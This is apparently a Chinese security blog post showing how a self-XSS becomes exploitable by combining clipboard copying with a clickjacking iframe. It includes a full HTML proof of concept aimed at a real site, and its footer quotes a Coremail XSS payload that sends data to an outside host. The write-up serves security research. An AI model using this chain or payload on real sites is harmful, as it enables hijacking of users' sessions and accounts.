前言

作者：米斯特安全攻防实验室-Vulkey_Chen

博客：gh0st.cn

这是一个鸡肋性质的研究，也许有些标题党，请见谅～

本文启发于一些讨论，和自己脑子里冒出来的想法。

组合拳搭配

Self型XSS

已知Self型XSS漏洞是这样的：

相信看见图片基本上已经知道这个漏洞形成的原因了，该功能点有一个编辑预览的，输入XSS的payload就触发。

局限点在于这个漏洞是Self型(Myself)，也就是只能自己输入->自己触发漏洞。

变换思考

重新理一下这个漏洞触发的流程：

1.输入XSS payload:

<svg/onload=alert(1)>

2.触发

那么是否也可以理解为这样的一个触发流程：

1.XSS payload就在剪贴板中

2.黏贴到文本框

3.触发

也就是说在这里我只需要沿着这个流程向下拓展，是否可以让我变换的触发流程文字变成代码形式。

顺推流程

触发流程顺推为攻击流程：

1.诱导受害者点开连接

2.诱导受害者点击复制按钮

3.诱导受害者黏贴剪贴板的内容

4.顺利触发XSS漏洞

这一切的攻击流程看起来可操作性并不强，但实际上还是会有很多人中招。

搭配谁？

以上的攻击流程都需要在同一个页面中触发，那么就需要一个点击劫持的配合。

“上天总是眷顾长得帅的人”，在这里确实也存在着点击劫持的问题：

代码思考&构建

复制功能

按流程来构建，首先构建复制到剪贴板的功能：

JavaScript有这样的功能，代码如下，自行 ”食“ 用：

<script type="text/javascript">

function cpy(){

        var content=document.getElementById("test");//获取id为test的对象

        content.select();//全选内容

        document.execCommand("Copy");//执行复制命令到剪贴板

}

</script>

HTML代码如下：

<input type="text" id="test" value='<svg/onload=alert(1)>'><br>

<input type="submit" value="test">

界面如下：

问题：

虽然作为一个PoC来说，不需要那么苛刻的要求PoC的严谨性，但这里处于研究探索的目的还是需要解决问题，如果input标签的内容显示出来，那么就很容易暴露本身的攻击。

针对这类问题一开始我想到的是使用hidden属性构建为如下的HTML代码：

<input type="hidden" id="test" value='<svg/onload=alert(1)>'><br>

<input type="submit" value="test">

经过测试发现并不能成功的使用复制功能，我的理解是因为在JavaScript代码中有这样一段内容：

...

content.select();//全选内容

...

既然是全选内容那么一定要有这样一个编辑框或者输入框的存在，所以使用Hidden从实际意义上是没有这样一个”框“的。

解决问题：

在这里我选择使用透明样式来从”视觉上隐藏“标签：

<style type="text/css">

#test { /*css id选择器*/

    /*控制不透明度的属性，兼容各大浏览器*/

    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/

    -moz-opacity: 0; /*提供给火狐浏览器的*/

    -webkit-opacity: 0; /*提供给webkit内核的*/

    -khtml-opacity: 0; /*提供给KHTML内核的*/

    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/

    opacity: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

}

</style>

那么界面就变成如下的样子了：

注意：这里没办法使用自动复制到剪贴板，必须需要一个按钮才行

点击劫持

点击劫持之前写过一篇文章，所以就不在做讲解了，参考我之前写的一篇文章：http://gh0st.cn/archives/2017-12-20/1

构建基本CSS样式：

.testframe {

        height: 100%;

}

iframe {

        height: 100%;

        width: 100%;

        border: 0;

        margin: 0;

        padding: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/

    -moz-opacity: 0; /*提供给火狐浏览器的*/

    -webkit-opacity: 0; /*提供给webkit内核的*/

    -khtml-opacity: 0; /*提供给KHTML内核的*/

    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/

    opacity: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

}

#submit {

    position: fixed;

    width: 614px;

    height: 30px;

    margin: 0 auto;

    left: 0;

    right: 550px;

    display: block;

    top: 640px;

}

iframe框架&&输入框：

<div class="testframe">

    <iframe src="https://website/New"></iframe>

    <input type="text" id="submit">

</div>

最终PoC

<html>

<head>

<style type="text/css">

.testframe {

        height: 100%;

}

iframe {

        height: 100%;

        width: 100%;

        border: 0;

        margin: 0;

        padding: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/

    -moz-opacity: 0; /*提供给火狐浏览器的*/

    -webkit-opacity: 0; /*提供给webkit内核的*/

    -khtml-opacity: 0; /*提供给KHTML内核的*/

    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/

    opacity: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

}

#test {

    /*控制不透明度的属性，兼容各大浏览器*/

    filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/

    -moz-opacity: 0; /*提供给火狐浏览器的*/

    -webkit-opacity: 0; /*提供给webkit内核的*/

    -khtml-opacity: 0; /*提供给KHTML内核的*/

    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/

    opacity: 0;

    /*控制不透明度的属性，兼容各大浏览器*/

}

#submit {

    position: fixed;

    width: 614px;

    height: 30px;

    margin: 0 auto;

    left: 0;

    right: 550px;

    display: block;

    top: 640px;

}

</style>

</head>

<body>

<input type="text" id="test" value='<svg/onload=alert(1)>'><br>

<input type="submit" value="test">

<div class="testframe">

    <input type="text" id="submit">

        <iframe id="test0" src="https://secquan.org/New"></iframe>

</div>

<script type="text/javascript">

function cpy(){

    var content=document.getElementById("test");

    content.select();

    document.execCommand("Copy");

}

</script>

</body>

</html>

最终演示

总结

比较打开脑洞的一次研究，苛刻的攻击条件其实在进行足够的丰富诱导下就会变得非常的有趣。

大家有任何问题可以提问，更多文章可到i春秋论坛阅读哟~

组合拳出击-Self型XSS变废为宝的更多相关文章

  1. 利用mysql对特殊字符和超长字符会进行截断的特性 进行存储型XSS攻击——WordPress <4.1.2 & <=4.2 存储型xss

    转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一 ...

  2. Coremail邮件系统存储型XSS两个

    (1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...

  3. 小白日记49：kali渗透测试之Web渗透-XSS（三）-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...

  4. Java Web开发 - 持久型/存储型XSS漏洞

    Java Web开发 - 持久型/存储型XSS漏洞 1.什么是XSS漏洞攻击? XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧, ...

  5. DVWA 黑客攻防演练（十二） DOM型 XSS 攻击 DOM Based Cross Site Scripting

    反射型攻击那篇提及到,如何是"数据是否保存在服务器端"来区分,DOM 型 XSS 攻击应该算是 反射型XSS 攻击. DOM 型攻击的特殊之处在于它是利用 JS 的 documen ...

  6. DVWA 黑客攻防演练（十一） 存储型 XSS 攻击 Stored Cross Site Scripting

    上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...

  7. 【代码审计】大米CMS_V5.5.3 后台多处存储型XSS漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  8. 【代码审计】QYKCMS_v4.3.2 前台存储型XSS跨站脚本漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  9. 【代码审计】iZhanCMS_v2.1 前台存储型XSS漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

随机推荐

  1. java_31 数据表的操作

    1.主键约束 特点非空,只用于表示当前的记录. 设置主键:create table 表名(sid int primary key); 删除主键:alter table 表名 drop primary ...

  2. centos服务器监控 服务器虚拟机里面的客户端zabbix-agent安装

    开启zabbix要用的端口, 也可以关闭服务器的防火 [html] view plain copy #vim /etc/sysconfig/iptables -A INPUT -m state --s ...

  3. What is REST API

    What is REST REST is acronym for REpresentational State Transfer. It is architectural style for dist ...

  4. Finance版本计划

    2.0.0.3 1. 支持自定义报表 提供页面自定义报表,根据存储过程,前端页面传参调用 根据存储过程数据集控制简单样式(数字靠右,列宽) 2. 支持报表公式可修改 定义公式规则(文档) 2.0.0. ...

  5. 搭建一个webpack微服务器

    [前言]:因为最近在vue2.0的时候用到了webpack的externals,才发现我之前都只是用webpack做一些搭建完项目后的“收尾工作”——即打包,而没有把它纳入到项目开发的“主体过程”中来 ...

  6. PHP爬虫百度图片

    php pacong_1.php "酒","电报","电表","电波","电厂","电场& ...

  7. Combo控件失效

    问题:点击combo控件,下拉选项不显示. 解决:注释HandleMessage中的MessageHandler相关语句,正常下拉.

  8. contaner

    what Container技术是直接将一个应用程序所需的相关程序代码.函式库.环境配置文件都打包起来建立沙盒执行环境 history 早在1982年,Unix系统内建的chroot机制也是一种Con ...

  9. 2019.03.28 bzoj3595: [Scoi2014]方伯伯的Oj（splay+map+set）

    传送门 题意简述: 给一个有优先级的nnn个人的序列,初始的时候第iii个人排名为iii,现在有mmm个操作,种类如下: 把编号为xxx的改成yyy,输出改前xxx的排名 把编号为xxx放到队首,输出 ...

  10. 使用mybatis plus 操作数据库

    mybatis plus 是基于mybatis 的一个增强包,比 mybatis 更加容易使用. 特点: 1.分页支持 2.支持自定义查询. 3.简单的情况下,不需要写map.xml 文件 4.支持租 ...